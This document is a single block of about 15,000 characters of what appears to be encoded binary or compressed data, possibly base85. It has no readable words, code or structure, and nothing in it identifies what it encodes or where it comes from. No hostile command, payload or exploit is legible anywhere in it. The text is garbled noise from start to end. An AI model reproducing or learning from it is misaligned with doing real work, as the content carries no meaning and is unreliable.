z3K{wP4(gfHqGy{=;{XIPiuIiPCa}(}47Z{);X$*$sO5TM0!oCHFGetM(xg#$nY-N! z&IWSLIAz_4;ug5OnQz3d+p2*u$%RZb0B=;YdWmz->x zyIjmwNN7y!uJt&36;JE!a6$ccla3DQ>t>6AyH2%ZhAt_D?=C?-Lj87xN^1VRft&5&|>Acdw?X3w4^0OcBb zuTh+qH<=y9s@1RiIiCP7<}lA$WN5whzmO2&QF{o>hfpCRL3=U)G9y?9yPCBzm(*Q} zo%pm0{dK0SN@)|;Twy-A(?e`!a7zYwU>_(OS-Y`+dOLQ8nrQdp?AW8ZRbjdc7{UXOhhs0s3KNpHwPa zComig<`m50-mxEUjWJDRo0`O;WyulCH}`M&?@Jg*Gv;Xh460=?Fqp=6J8=QxFA4!K z8G$%(clp6B`%8U#iX=sLu;?Q|?d?1_Bg-ng@D!+a*#S>McrC5!8=Hv=(doC+S7 zwy$=Z5KG4P8RkNUN}@}`(kA7s&du5_jOLC4R3`oqEX1_o1d9jvp-)8y zW`Z`g*u3wZ0PCGhBG1cvuwL9Xm&@lF7XTwH!#XszKkwX)L!~QY`+%2Mc~M=FQi{3h z<#l2HYul0KiupG#qRpUHTW_@1efJ??IN`;x=*f115)DPYPzS747QUULP^rT-+O^hTf|q{;{Op!Hv+a>c^WT!?IOPmQC%#wnjw{2W z_Iv}!Oc)sysOn3t3PI>(Sc4 zUW%5k1CpfKs8}OGoRz z_NP)6vo6W?GJ2qUm!)90T)gHMS_Qaj5TJG#hz#Il^U@w>ad#ar(78S}US3{mDQV!e zJdn0)zPZ|8jf4lZBJ49?3D{qEu%(Dz2-WJV4{yj8@hlCg0let(Q}7riB;y z;?kzWB+P^YbD&u`WcGmqR@~-%{q}%;p3BR|xJNYH4zpO#6YP#q zB8du|39@UhsRmw2mY)k3%OHpS%ju=G2GAD)E3SM=z|4P?4VG60A`H!hu=TjBw5eUC zh)y_{w>1u~0grb42W-KE`uXLG=N*!c5t-c$)YF|4sZGFeMngb4p;z_PnR0CrcKlP6og2S^;e%>EMO-j3wg_7QHL`DNPs41b_0;IPBk4)PK!Jvs_l+tEhHn+cFH!_ zH!`AOU80}U^rVMAhj-5L-jzR-_`DbUBa~oV!NnM^_B^h;EVjq?wD(-4=AGeh(5yVAVEXWXHuGd9X}=!l$cm0-JVK)U4W5r zCoTPWajbKGGn_8Y3XZ?=@SjIH^_!;UB` zhCX1iXqUqP|DmBomg#}Whu>B8j>3t2ieMwKcg$fsgYqi(MxwTE@Y>-vp%S$hfR9Oh zokORjTGtrI02$?|JBN1HYU{yNkt|P+p?e0h#Q9$J{Szb-qdB*K0^lTHP5Le#M|CCg zBJfy_pbsXQH-peRgCW*PRn}k6I-f(LCqAt`g3RR=^m!d2iG?3YV%{P;>(}RVT4o-| zAI5XvSw*7}Lw^anM1~Lh`{PSZ;@ot+%hywQ*9qN=ygh^Vd>{M+1yOo?&IFEn&}{op zBY`!(z+{yjGi(l|iBiUr3>YKW-JlY5Tpd7wt4KgzW#er7&)Iy(=E+Ac%h!HU==PcL zT=FQoVu?T`$s|IblJ1+Wim0&_YDL9`i}C7kPVadnWCpIyx%bwhRHEZF`A1x2N?XTG z3caBNW`Ef_?bH+Au%0y4M_MLEMl9!_y&(+H`Iwa|C-df1Fh>OI>n#$ifx7M=_HT*m zkzPkRzv6O#4riNI2lRk1^CuTsLQK@u}p?7-;R~ z<7A#v9myzq{Y`ryamt#_Hc1?sT3EmWw&mN_@RJeML3|`;u79-lLqve_=w}`SdjE^b z;@>zt|1~%c53%;(3N{gP+4T3NjBosm`hK6#Pcrl_zZYB~3rKO0&$v1j6*ctaXl(aKnm@p3 zsDklXo~(=R0?bTQ-@D8jeFW@qGtK-D?|>0=u55meSSgq;Z0v!@5xs`wWIAkVFnjCbZJh^AxX(jk)*3iMXaP%$91(-~dML?IHk+S-P5yZ8qDX&P2w~KH9VuY1 z5{he+{n6N1OmMJ<8t8=ergD?Zk52Z-w0JmqwsEhsG(opNki|bf+|pCdD%2z7M3*Za z2Y`D9@(PwSK3k3cNIH228J1+@&X@qN3E$LE6FO5`eDl+|{r?tUDH)@g0m_Jm>&9|a zz7>yKD32@tDd-{_I|*3%6dy*&FYOwrChT+Gg@;+d_}8 z4v#4AZh7` zSnv32qLy^rBO4zxyE&P$HecJNVIu`eIawcJZN|Ue)DeLC);2rVy0AVig!vax7x zV<~cla^jZhw-9&FTm2)lFPCF$G$tgGZfeZ#zx+XpdJtIz)v7NsGjjq(_~67+)vnFbMi z^TzVrE-7y&dJw!PMyKai?qJ zZ&E`K{tNgN_6;qQL3c8=RJT;;_x@o~{6+jk0hCZHe4q~N)N2b*M1%}B6~Shf9nc4W z1I}v`H2zS(SXMnLp#~&Ps2N?OrI^UZ{PxqHRyh)X zOFD(jw|9JJx3ahspR-7T%+fU~ekWgx$G-t892FkTsP+PJY}9TvU&4A6VYEfE<~J5Zt9z*@)VK z63INp%z9KcI7G{9dC>0tt#d$eC1ICXacfX*bp-Ne`IR?oQcF>@Q4kjyu>i%E&A4YOqvu}^&!(+RqJjp&{X|AH<) zei6+o;Ls1Shc#OM8x6UIu5nvXs_loT*RBb%N{R@pXe{n5b;l0t+I2YqbAIxRr~m`v z64OnND#A>-Qc(8+bqg%N*kAn!gR}{kD0x;Y_AGc0L9MEI=4`RoXb{R290CR&$1)C`1ps=v zrQF^5p5=ocWq)LrQ+0(~Xz3~q3x#C83$)uW<|8Ti?BZc!k24wXvpEcTYV3axUi8?T zsDp~*>(+b>KPDFqfkt^RzfSJi@&ncS$<6YBP}62HnmvwO*&*Xs2B$J#8-1rY zj3$L0z3qJwC!fIfs$Sm$mfEme7qkv(6AdH5-rf3Jo*& z^KCMq6mnT{M=0aq)_eX{_ZrY*`*;a?VKoY$72kU;EhlqG&cJgs+G}7xld>zqfF`vJ zMp(PdYkIvdvAi>NY_21ob11xi=2!68;QL{NfiI~=mWSqAZO2pvy4BD3>hRZ) zdQB1%QnYgC=q6YdYcv!`%7rv^)6+k_Ev}K1aNSbQLvLfLmNH}WQ!gzU9qBn0Up(3+ zEq?x})x)bukqDT|Rbl`$NOz6%=e7qMp&F_kJKBsWWa_9a^lzvp%;3iM@kq_xA~oWZ z!CimUOq^(U!2kH6IkUNe99i-7*@Axv7tT!ZSDbJ$j|pxN{!2j_|9mPm!`Rgi97 zs6ofcl+l=#Z@Ib+w z)b}ZLUe)(%Z%7PabJ*kGN`VdLzLzKU31*F9xUD9X_^i570V44a*I1i;S86@7$S)ZU%GXjtj}Snl zgeu(R`nrCNf`QE@v1FR=S16DYYO#|9^olB5M}WVxSW*9Ks$^qz{lUKb5js>_)x zTRbkE<+i@SC*ZODs(=~+TCFgzHx|(juFl(m=F?CRcH)6mWdDMWANth!=n!y()~Dyc zes?s+D|8hTOJ?(!42D-IWx&~^&>_#tD!*LYVnEkM^j(gj@FyDV&h+|iQs+1?vKilj zj)G#YDX(92(d-0`~NvNz&@Ia0J)Ye62E$aU|S}V?Zx6%~$ADpLpaE z7;cjxHQj=eZlt3TT3G7p)l+5j)qol5t`YCzVk0TAOvq|pZyEva_9%@7fK{d-a=rG@ zrSCMWm?E$_2l509@VtqbaO2ebvt{3f2vktOIC!j8QUa9j0AssT9hmP5TbtG2AxnM7 zWtNf~)xpi7rn^xG)&tg${euUWJOc_x9SBU%puu(WH(@a6<$;%BbLxf5_tRPdrlFWR z7N{%S3lm#b(+!Q73ufJ4saPT}n~*ho)O$jQAHTliZ{{}t!EIyp5X~Kt@>`p4Bbp0DAl}G_ia&0u%jghd<%>dbT$@ z7IavrgI4?oaj1oP;F%?_+joyUmh;r%rriw8f7_(jBPj_PgHjOlp|h#Tf z#p%$WS7--wk;5Q5lA3bN^{*k)W{(tgKM%w9*9~kMoDZzl?Bh6`p6^5`DQYT7A%t0e ziDO5A>dqD`B%mY05bHhm!L$$mBuo?IKWV_JO^9V_;pl2Mn*0j-5quzjX zb>yXh$xLa;vgiLRu;JN<8c*%)J(JHQ2`62nuYbYR(gEmia{x;fBVysG2NzJs0g9o8 z=gDt~L-0@5emY_ACD;62JF)g%qIme6GHbsz;d-`_PR%pXoe_hWqp4H+g9feB!PWB{ zu_dJ_l=>mHl+)AVX-vIcp5})^B~~QbDR1_Cl}MC)&kcp9Hb$v(n_hM=w4!}zznwxE zWk5UZJxs883ORS3gv9*V@RE1Ut*p5l1I{{^+ef0dC=kr@^4ImIB`0EODOV>#`K{bC z!;}H=+BbtrjbY_hexP52fwWX_o<~e|Lr2V!=gppAYnO4%5@|sb!O%?o9Zu~G6BV(~ zOwOIzGE4?PSmqC?!PV#0q_GT2EL@S@wsF|V*F~5l;LzH^jpBZ8ZQpn-V34`D^=9a< z=6__BTMd5-ud#>%IG&vdlKG4{?iA8z;CjrSh{kX+@=( zhyI**JABmIv3oUYJ)V^4s*t&W?G6d}(q^)kGiOF|mZ9i@7osy4-E% z2jnFV{E=0~!SwwAn`Qi#;p7P7zDZj>*9&0{z=Jxh*ZA%p~rz zMi%rwOQM*GkC^egCy2IG7?M4GtgB=8K%0lO!f_f8q$uFBtmI!=$7tpE_T2P)8tQs# zjJ0!qDG|mn>oCBs2`m;Xrn_&w;o<8i6{JK<*)DA}VNi`L#c8FbR=J9wm}yw*Ew+q1 z!qzUU;Q@bzABSlkup{|skKfyoh-irzaErnF%q-yG)juD&E-3ZENdC#%_ZE6zI9{@q z5yFQ?A;`;C?BR%$-bHu8PsqC2xi#^^ip_0C1E3D2+)jbQtio=aKwvwZy-n$jE7wgu z38WSi5PT7M9Dh*M1!8-jwAwKC*aN`f)Y&OgFIMls_dha%WGOsWMD>CbX)K*nkO=ev zNkJ{5Zx=qSeB&&e;NG(>0UsE4#YSP?}@Ftz||iW_v5Zp zGHolnboY-*M51$o)H&) z8$0YN7c~q}n2iEnj)+Fg{vgkwE9n8J&S|rOFL2Ps%3Uh}el_48Z;JL7^7cXwiw)-^ zxl!xB?7k^;d!I8uKOasIRRHKntpbHJ3qHGye^p}W((7;OA>yvhp+hKbl@ zz(5{C@XhDPmThaXkyk)J9To(zFdF)3w;AdXj?Nz&j9OV4Y&MPB?rdDI;s~UBBv5nX z2*B#G?Heffkd7L2UIWr!K=3EXQs#NHnEKO~9xjiMohf#j_Ak_%rH#2B{{c3PohgGY z^dnCyi|qBWW}ib&gV+?C53Vy14!aS8J?ySzZq=hC8Mq`!^jH{!=UVK2?OR|@l(V2A z5B9UVOwpNO0HA;s7`-FlPP9&Ww3D%)#z8Md*;WF?mhRzCeD@y%e*9u>PErsUe{|Nn z)C=wi$|wK8i)F2&7wME(D!*fBO(NoU?}$8TFF%G~`Qh_cSaCOAG-oDspvKMUXidLr zquftm?@Cb`X12d!DmgtuIy|ZUeZ2*cIQ(uR^_;aG$8|(A(ZJ#e#c) zbpV6;WFQ_HEQ#mSrhlVP8{;_@@%HVFjkeN0seCIc_U#gQPU{puEFJ7%2k0b5Pas&r z+XTrf3kr802Izx`h^bV#B$ffPn(zi4s}JNz+>9mJeWzV6$maC}`O9mXYO*{Bssk#1 z=+R*`J3sZvh=%XQ6v^362-o9Gx7PC(2=GXgV#53mau75e!>3~MADNEyz>$}hIseUp z=uHuD{_zYMz%A~{5Dn&D&DjKv<*$Ibe_CJqM;;XXi?Kbjm2Ne^MP5 z->0Un#V{vJPpayge=+p8IIW6HjRO(tFsBvh5+H=UO1uk;o1bm(SNQa*pphBqI4W}1 zTr4B@w<#|94oi3Q>#;zD6+8BAw;M^Bp1PIxvW^h)AVK9)N)g*YHZ_Sm;pg|QyyF7O z!JIIgzA(B2XD=a{-|3#3@8^7H*^OAn1_>3!ud*rNThEzu(q7vCBQ_O1m!a*oX?+Sn z3SbBI=!w*^nshP)dC5%kh)HlqyeZ{ecPyb+sU;HF;sPSv3Y+N{WYd8nLH|^+h_YXZpF+=@uWRM3W0Uqy0BFXi6=Au`}g%*61oFg(zz$6FXc@)t)6S68S*H-jb0U z?j~>mKQge=2I52bHN1fqr(m*zfjox>*e!)I@vHxi*OP0Xd@@vpmvv zr}sJT3S;3Lwfuy}JXMQnpnP?t<-E&s=r`l~YqlUq-h(6D6$&5kTZr_)rX3TSDKXPMlO&b~Q zxQ5!4IeGIoe5|22jy=F(T<1e4pV9;eZW^=5$fhVgP^RgyATt#3p2mp-fFXLVRcSNt zd?4fKv}skD&k$Y%K;^ysO1GE+k>kbx!SR6YEn97kOC8VsgP##_=<^xTFM9QIwx;D( z?hd}k+hx$Go~7?J+($c+ucDYWpE7b5rg@i-MEVP8A(Mv02|{Taei*4K#kz5$xZM{s zqwbzD8d|-@=03o-ocZikaTGxHU>AP4u#?hHqj}8OA}6c48nz)gdKz^1p)Eb8Aa=Wv zz+;9CbjGoQ$HtD~?!mdEf3j$)+V-@9(GlL$L0j3>xMpG ztq`6U9;27CZgKe&%I<>^QlgvOPv25Q0?>E<3=N=wFdM3+`x76!T8R?7h0Y}DuI0s) z#X*OWbry!ce{o%BJS+!2P7c_2U%hYa{!DGpcVazOijv@smeta~F+yY5At)8NGrdkg zisb6qq#MUM#_7<_gQ7)>*W*gPU^Q-`uy4WN<^$*NI+tV1W4>#B%u5_ z17>Qwq~re@P%LlUOvXmiwcMBvLig}~s*~4`FZ#iDga}47v zi7C)kslVCo+*S1U^tsJHk%#@KYUbZ_B?EDtq8XzX1u>ufI^#5Xbjn7Y*;X0T%|&}U zLey-K;EFZajytV1XHZ_sL$110%0^dM{ALsM;~;ekbr<~z>1GG@7}2quB3D#LJV{wi zn}?HE`~yN@PH3wtR078_&QA{F=_NitPuvvX1NJz@zv5r9X4(@>8ok#oNQz@+$2TzI zFz&c12)4fy6PV=HjSa#=oz(0&caq_!PkB%ANd}fjW1&v99AWSV1;;A&Ky&i@h$%KO zA;f>0^p=Y6;2oLa8GC0E2hpShEWz&~VLF^&^6?Exj_d2M8V`w$m@5IN=*K0g5lE_- z%^uEHK-NWq30b9heG?x7MP*gMlypKan*7#vk3Grt6pQ8CU}wYYxHKcm+hs&zOOK)} zse*gayPC^KLu$ltnJ{9&DI6M_Egl~ttec|4dy$~M&gQnRGVM66X4*9<6HQG|Fco3n zr#P<{+xhJuQ910VJos+Vd;(Xx=y`p@nMgFa)GkNS8UbZn6BviTd(yhBQ2ddz_IbDF zyF-VsUoFTe#&VUB^3a#o^FzWfy5UFT_#lqC?&Xh4BS!8t`+IjfRuD1j{F9XCNY;Bb zYo6Vb0pP?cpPW7I#(<)?c5{?w{EqoCJ$oN4RLEsNX28O2b4G7V z>n)gZ_f)I%9vr7I75^INcA*4sarMZE1;g5bWRuO8g!fl75Ez-$oW2Gpmj+_pbH0~w zsSEzoe@I!#512_cP+Hn=575t*>yCoZ-Qnf#fE&E{p_2=Jx-xYqP#hE{6KyJJkqT0@8}(hXz!42??T#Dz(^h z4xwbJ&lH)^_r{d8Vn;>PBUP#;i=!+U(;~`lTeGQ}@)+?BT~f;&g`!WALw1!MlAYH2 zUO%sE3$jVzGLu-}jKRzQHST?_k~{2)K0xf3R#aowL;XtYZgaPNaWwMT!U7O~V1VFB2a;;QgS-zL8cm z5%EZLJdH?xlp%q$VpP&x|DcLUOI`#7zIkxT2z2%Nk&-|L{+odKk1@CEL^k;g#h^dH8*Z;HG+rtj;FNp^HAkZ3x`f6DSF?m;B~tvvgTcv zHtO506peq7eeLQ>t+d&c$e9L?P@cp(_(p=dq?C12{d)Nf^ ze{2ZX%+H$uzuOMkCk#@a=09;4?21p7f`4l#(kPujL~H3LYR4!&A(pY`>xNqdVupY; z`Cri&*S~;f4x_x;!1LcYl%me=*Z^w`VAb>Sb%wz9tmw%oiB{ntyl`;}zq1LU9(V4` z=)P-r{+WWYjL)p`La^i__KzLpT=F>`F-NgzC&VyCohP_s+X|S&gBo-mU4{qtKZN|J z0~Gu}b%1gRM=M+Rs`FWxb@@ocC5`CtyV*1rowH3JMd=<1Svt1T zcF42X2Jij0+Z~~2e4>n+xif~@iL)noAE5U-A`SRAr>8W|fJaf$4fM8=WOvSFdc72U zF&Z*E)r8fUn3f+5;kGJA4NDm_fE=8G<6tb-p=Q_fo@}~W!f0W|BerC?B+&zpqz36y zUoa;l5;d%GR(rggx({yntP0OfQEDwQse1g|4*gUeoW1K3r8Zx`UYv*GjAy0JO8*uR z%&{xCy_!-=r*OQK5C}KZC;~8fs%WRPetatq*f3!F2E2M9hOwedl&9Hz3q(G^o41}n zIs$@!sjEG{bcND21?OGSTLKNbC*Q{wPR)PSRxxY!hym(jf^nJ(;}uMhUE~)~*g6Pz z#_d>Q{IYuJ69Tdd?S85O93Zj(MKA;(2pTk(Vb-j|N#=KxGBC>MIL25y{txWsZc$06 zr~%Y_^_F^cyE|~K%7LQ%s9;M8LO@EjGMt~WD-o5F#dncV zkZ!>ivgb>G-~1ShboR6c2}0T}*CUnJwX%+obY=BpNKr3%iaV|#p4JUGthdSTJT0&! z4&*RuL>XO zXn7hc00c8HfsL@SI1pE%Qc3iI$S6>!Pql^+?ocqP_@ffM+cy{46p3X$$516RZ`vVt z0Ff!0CC~iz2w=^~t_asjlqRYMfw|8w~{`-IHzSxLq0hwjG%dqzTMy z=riO~DC+W8#PC&C*}*~|C+Q8z^^rKS1I@Bbu@`U?o{VMGow7A|uSu+ca55y5Z%LVm z64iS;rqCx%r_qC2!xpq-Snw{mUZ;9r0hBXzo*PrwN1m5wCUek1GKu@tc}qT7(BB(OtU9&g5(G2t zv&5o?`C8o1nrPX)Cs-9qM`HWVv>+?5VDMHHgtVmo!NX8m;OGVb>_ZIhm?qie90=*ws=C1j7+FPr}&^;O6rGU!0 z)~L0jkD+sSKueR?@PBM+1l77TsiFKojR1{sz}6`MotUEse3AJp7y}&xfH=&_ZSGd< z?aj7J@^kiKK&|n=dYVgFdKBQrNMU3gE47+_DSF*A)*Pa{OImtu^6U3Gg*E%RF5>rZ zjAa1Hv%zGrZ~)SiYQ#&#w`lUZaiA@yBJ zXy6@TG_IaIS8gctB%4~Wp61W31vbKVuF9Z#&xPHhlP­3b}ws_mUJi^@J8K4rtf zyyz)~1A_-5>WyV!aX1YPc1h9pFSIzOH-SCXVyZB%U6fqpQMB>9b4HTLKR2U;A z;aLg8eKZwU5TBgJim3=rnb?F2mbtQr6zPO~5NC9N-!g^j^r)CiIDVgO#nx-acc88$ z$vhdjQQl~B!|*5aIutS=L+J3SIpAqVYJNWTwJp7CT7znS>d;D-0VPI6zTe(iIl)^db`s$1*|N0T}dv;pt}tu2_@vvKIOad!Z`q=qM-% z>ch)hYV)7BcUO1^eEsmHSw56VVKl~8EqtHuigQiD<>4=S6O1pKB#d2;bm>*x4aXg+ zF@~u$?jlWw3ff+Q(XR&y(7;o#eI2R3-ZwS9;tq*;{N@h1*W6G`D0yDygR!EfROKBn zh;oE=!f@1!CiUGcH7dp2_FP|=*X+l&hfcplBbTXwy|D88@7)~Qd$s#n#MBt;DY(!q zQz81pPjXfp`{Cm>Fk=K(jj3lM=22T(DlyoYSgjs|8-{+=K$X11qCJhEQ|;{MkM>-+ z*4=5U8!gtfR_g(-BAD#(@SC?N5Iu6n;STfk9FknI%-!?@?}TUI%6G~7(sy?qlDE=b zlu>POl;Fs3y7o--Bx~}*vz7JiOBdiP_Pt3q_zLK^ACp1*4foAcc>H$eAI8Ou)W<)3 zqqa9l6o0@+|Daq*ZUsycI>2724s!hA>lJ6j%wjZt_ClIo6XFFdJcjoW%_8UftgM$- zbHKZM1O7exIIQvbID9U%JF_$DHggD}--qb>H^X-YI&u7|wqpwV)}aGfMhW?H zs$Y8NwIyugQ3Uy2Z@3T~G$nQpGcfx??-!jHV?67MBp0kbM`o2fL%~v8^^>O*LTUb3 zDVegQh}5U8-PqrdzM&r~1f}SRc!V^vZ-YdjS@O8;#Cc<@i`La`<_13sGVBI!9gI*s zt>NQS_Aha)gf)WuSUIcFwEa>NEL<>|#>ro84INd-`H;gPHyYhg2xX`z_k3BYCup165dTy)?$> z2BV1DVkUkxK}=_IQc1gVKT;Zk#?CJe5iX|Ut^`MqJl~LnN~Iib?rOWvP=Wx_=KZ~> zK_%ZE`CufROf1dWFNmXwRZWRZyt&ugf1k1T*S)E!>y-R2!wV;RjtOsjON16A?NAuR zsYZW{$h2ga*k7XAoq+R;IPe*+6@EJtU7vhfg&2>vkRFgQQ3A=%8D8sO;oaD5=agXG zAE`au|1@BJdTrx~ye5XknsTxxnk0dkzN@Y54*vwnjg3v3n(AX@T~VC?Wfegu&Z)4d?C}@z3 z8B6e&*+`Ndqw!C!tK%P*p}si+*_d}gORZ~-Anx@jrrENL>!J8HTMGOyHv6= zbiR6*o&UabQ=~Tn^v55TP4}eID3n`Uxyd$-T3G$#0c@&Pcu{X)GetN^ z;hhlpo~rgWuFa_N#-W*nvFnInoPb5%PJKK`KW(Ue^bYz6%YE9TdA$?(-a-h!1*F5U z8o)+;O07D8?9TlEz^CHC=+{8H0;dTk--YP@SlebbE@c`fD6mv(dY<|Rj=EEMIT=t; z=>;lS!pln#S9LRAz@+mz!dyqpOAvPj8A)yCQc;4(+f6MNBj?NwA(L>Kqkw=(5O66z zcmZ!w_<{C z_V*=u2(WOfOoYm;;nQ%RvV9K6YT1L$V@cQJJr+OzR%>J+B}Foq#<+Qcpk$A7XHu|KoBMs z8Z2RJZ~so01vHCQDHv~K1h*S~VLKB~m-@3|HY-(%kVODjv;|v5K3eW1ILzrBLOkCI zjQooNJkF^21G~=m0MU+Vju;ggIjS#*6!mFVmpWWfd;oYHrObVo{%*=F+K8 z_$0(OLI}_uqK0S`W2sRBTCI{K%=qajRIee>6^trP)kSk=-q)(iL&YPmEyyMYw;p7BeJ&e^cv^eh0B~AdJ0*qXpHd_DGsQ;#wX+h(k}m!9P0Cx= ze<={nW2Z>G&z9a4?wN%t-Mu2#u&-RXgWvEC^c6&zAd`Ob)~!GuB+FCie&_v|Dqr2< zYP)3!f&eS$e)D&;BK0wZ|3{xAf`zqf*`ILFMHrA3q@xeRdokz~<0L`|WK9hd!X|fL zP#$CYc%RoY!UEUE@UKlkJ^I=DUJ-MOeTMUVY_5otl>3A3_X88XGMU@2YGK+|^sn_sA#HxT{Fr4}x@K;yisW^YT{e5ysSqN&|hF zf6#+pDCFU1P7xKpX_BA)pO4rb!(Z)L{Rz(|ZZl&K89g@U>KfGP-_Fz-r^O#KNreuL z9Jbi*?#$uaZ1+8%*8^xyvWaG#Kep=U5iN?nhjcUqIsOrWdUCq|fKy#+5bzkZuJwS8 z8i}9!uZ`L%^RYjqMkcV%fd{LREwsJK`S6l^(w0bnko7fEwby5uJd#iKV zCUhQlP-T**-eu0Y<>ka!J*HPPXk{~+a z3YS7zeO-1&jau|l3z?}qtrTORgyIwGsejWIVF&@x$Zh% z`SOq=&gPz`1t`@IJp!aUu!hU5euhwWNh}L-k*=U?KXT|Lk+M+_b`>`a%QcD|;uO28 zVXY1Dcf!nFIs@rRU;W%ix=njaE*Wn;j?XpzGl&QUy6xLCtSXuIOQyfd9C|y+rr_?v zm6WBTs@fh(N7zsJs#q%gIFOlti3^}?!fMyw&;|typP0GUS1lhwtL!#T^HODkhy_Zo z-zED@D=B>7*9Dm(cj`gz=2BS@#u(KKUZzSf6DWO{6@BmBw(?)x*gVU8+Lkn}^-1ly z|KT}rW$`iV1j_QmpLUgO$Id6^?htrne*7u7F7-o@3i@u@CBK5nb}n@$#6Cse0+c%7 zZ#$Z-5g;5sCXIt@BGcSFv~n9tLE%;$V6@Crs|fYFD4fPhxae}BUYQt)zp2He%Om&p zw~8Q_T$?sanV$8!pJrNS$%1BrNM~Asd#J!lRdwxAW0AT(B5JuAOX;aT?Gu^os$Q-f znQUzb4T%p*B>iVFib>+{AfN3PKWo^Ihv|wF<@xi+kBIB-u6fnL{%o+_?N%A z=J5lG4Lx*GCSzzN9SF@{)Q?0`W;w7S8UDGore%5#fB?r4Z|&fd-ah%ZVPNT8R%j+> zO3fo3;C3O``bMShfTm~tmifBu8lMHB!S`aSW9A3$0RTw=D)8J6-84@;m3Qp<0qLRL zuJAoq5q&s~eo&s?(TY3K@d2&4r~yvFsAH?~%FWBoeL%%e>BJ*N`&J*g*ed!0Vv4t7Q(DGp8U`1t6YQ(*ObJi@!~yc;%dH~hnI!r zUT<-Td~%b`1xbx}1aZodv52icEB4Q#m}x(t6`fm2Q{@PGPq#dwR%edy2%hT-c@qorw7d zz!A;ir(SsmIjmH2wDOp>`Webt7JwY0ZLFoY(j7NotJuiNB^ew2fhwOK(IovEkTq33 z-f=s)f3t7s^6*|gX|SjV!2L=3W8Do*h7XTOMMy@2*XwjC;zp!yxwNDb+@8~lIe$^g z(S2?%Md-_vPDnt~&ROeT4NH$2q0I1})UNHBtEPlmaK zNsO!5a}g%e92eP3f0E~ngkhNVqZ5YS95`*?NofF$`~JZbl_nruCZy&|$(o17i2?KZ zH&?n^TbknOj~3m=@+=u8+yiqEtG)Pp3jlq#H8%LxCU4Ek{AWWc{Q`k6&Q+M&F?o%C zwoR_}VrWiVWa5@zkOK4pJysgmwmg9X>vG-=fi+dT5{v2Iy!6S%V~wM7`~uF z`g+xiPRtl6E5`tCzsEX|Nb+Q}SHfXH(XAUp z+2~4E_p8h4_}7kuDlUO6@%}seh=NDt03Nf&K+5%rSr$OZqV*9rvYByo`Je zx@B?5_q63JNY#Q;NL@|PHIY7&0mvi_;HTY8)fWEpU_YC<5EDVVMfK-+Uk^s$QB?~XCC<+dmysN6w zQx+v!a=G)~ZG?tu`bWq_y}Ld5iYMGrV$0V2m)DZ5_Vf54RG$ApqF|>xIE(gp=45hI z4Xqr%a2?_u3H+D8`Lu;$n)Pq)2Hi2Gas^&M3$ce150Ga%_jV`?t6WQ*=oq>o3EY0O z>HEr=HksT(cx)q|Vtk-CT$U@NGV<#)-$`vCFiVIPx}LizFdUkepH@S^evPp5hywD~ z3Rk=LR)<)afC375P?`sB&W+|+K=F^F*j3qI{=AQE@quZXelvT?rskpI;{j&rzKjep ztn*co*RM{@ygB10^ndu6ZBvOU>g$IrY1Jdr=qCP6WhwzWb;VFjv>x^=&NG zpr8niS>2EW8eqMH7 z(Qm8mxW*=en*yXFq_cGT=9?P-O7aTqZ(z%|+~fVBeMm~y0obKlt;zwBRbJ&t&Ce*6 zg$%Nn!797b9sDIfKR@LZ275G!qJ;K-Mc=WiyFS{kl3T<#u^aVN7G#W$+p6c`W{R?A z@-1?BUs&}RGb}I<;&q+$){#82!afTl4~t!T&Twue@T^8>MYV*hc{uZ)xLHaEp~0n` z`AV&fB_~iz?2V{rYZ9Lg^Cr05AtO~Ln9;)}&Q0_Kffk}~{!Y$4$&|uQhY2lm937g} z*KsPR%*|!lF$nABL^#u6Z01Wq|{~u`E zo-^b7p0>AQ)7`AF3ik{FuEb@n6_yQX6u<$dSGut$NnLN+*f5zt04IZ>LZ{XKYk;Ep zmoTI1)FFL(a2{{|NscGk#x-R#=Q7e%*QGp+3NvW7ikE*vY&G?Y8Lpz8?3 zgnIpWyVH)-y5BBQGs^68_U&EGjlkOz!;m)QsyAz}t#ZWW8&j=#CF=Op=@@I_cTbKw z(KjZ1a7tIM+RvI02*TwxIK}HtImbyuRTpt=0Js@3Ehc>2=P=?i^2KaHg&0^)KqKtY z&Hb!P9AMhLJBI ziu|PoPz}D!a0%TP7k3;4EyGF?PMo-O(}v?JKFznmF!7kQZ&V(vgY7C zK|p7?M>fY2h}&~JBsEs_F}0>o-QpE@WTKd@S2!1XoF9 zIMM;_k}c|42;7WfkFPH2@7p}o`s=FzQq zz~K$)qeAFHo#nwdNFAT&K+saY4_IkOXg&rEyS*KfAt!khiyMKTnd6|e@YcO zhuMtH;5^7(Fv%caOvfx`h{nmt%+XDxmZbom(pZDl>N-?=Y*WXDA!5Rqs>L7p`LB59 zPo3A9aek)QoJUA?3uITD-110O*049JS~az~W3&P25NlyN7u0u0?-Q@;`8t;WhDj`_ zM0ca_y9DP+GzLrGn9{wPQ6jh0X9D4Sax{8yGu~7U@DOMl0J-Bo8%5D+ycD-7z>rW} zCg$~u_i8m;=`P*NG94k$G&4K5%Hz{)U}Surp(2d4UfFrp0CHi55d{mIk-sV4+gzq- zIW@dFs}@sedg%m!ROX}MxOics^z40-qjzJ1C(i&i9a}r)CC)RLKihMl zu`X?Is1F=qW+in&<0W|h)s~X92bkIHS8laMmRnSz*35U7(CYbtkZaARs!dx%+5dPQ(uu0`ASdx=cj z6;gPCW{qL0gQ5TZC~|T)EiCe(i0IfPVKR2CCO^JO_5{jc)f!`gtcF@n`qW8&6gapD zQ>QNPvDFu}09E82_n6;7kBU*tB`|dec*$omM`X?~>s7pU*Pj_Fl-!U< z7Zpo+HX_x)O0w<_OT!QgBO(?#)@?|s1frQclN>$kOU5<^7c+FDnNxGQB=8?kGW`?a zSS-ysc5R}rAA{q9x4NA0D*-^d3WnZiYIy!@;D>mX$dhqSS>Tk%JXN&A?CktF(8RFn^ENJ*+$*2%NPlhf|zuf~4qK z^LhgBD;Q8SKQmKy7ybxvfqPvJ`A*Pklna=BVVPXN2lo=Uq|5$80F_ zn9Q54u)A3a@SmY*56QTA^TmLLn(Zyw5<|K4t>@Z^$?$W~LpgGHg}N3V$irC5F{x1j zH4k)$pY<`ItguS^L*&dS9b=B#S2tFR_P3P{(SCUlmC5GUA4bawfs6!WY9O( z)N8?auFKRSOS5X}oSz5549WPSbQoVk&XX&&t|vF;`m42$B;`eQ2|FWJ->IBN*+RDh zR?UY>kJM-f#1+->kF7?^K4DM*GojvusWeH19L_mQT|9I8j^FJCSzX1+D|+)$`a$2E z!1lwbwz0a8JOyTxM*^~_B?jo6OQ03d0(Zr^&R(1GHtDr>Q~*XGj}I4{X(OL}EAE>UNy$c5&yQsyi9!U~~7_4T-On 